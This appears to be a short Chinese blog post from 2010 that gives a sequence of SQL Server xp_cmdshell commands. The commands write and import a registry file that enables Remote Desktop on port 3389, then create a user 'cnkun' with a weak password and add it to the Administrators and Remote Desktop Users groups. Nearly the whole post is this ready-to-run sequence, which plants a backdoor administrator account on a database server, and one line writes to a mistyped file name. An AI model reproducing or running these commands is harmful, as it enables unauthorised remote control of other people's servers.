全部博文(584)
分类: WINDOWS
2010-07-12 13:22:09
如题 :sql语句开远程终端+建用户+2003添加远程桌面组用户
没有技术含量,纯属一次偶然中的方便, 代码在查询分析器上可以一步完成以上操作,在2003和XP实验已经成功. 代码如下:
___________________________________________________________________________________________
xp_cmdshell 'echo Windows Registry Editor Version 5.00>>3389.reg'
go
xp_cmdshell 'echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server]>>3389.reg'
go
xp_cmdshell 'echo "fDenyTSConnections"=dword:00000000>>3389.reg'
go
xp_cmdshell 'echo
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\wds\rdpwd\Tds\tcp]>>3389.reg'
go
xp_cmdshell 'echo "PortNumber"=dword:00000d3d>>3389'
go
xp_cmdshell 'regedit /s 3389.reg'
go
xp_cmdshell 'ipconfig'
go
xp_cmdshell 'net user cnkun 123456 /add'
go
xp_cmdshell 'net localgroup administrators cnkun /add'
go
xp_cmdshell 'net localgroup "Remote Desktop Users" cnkun /add'
go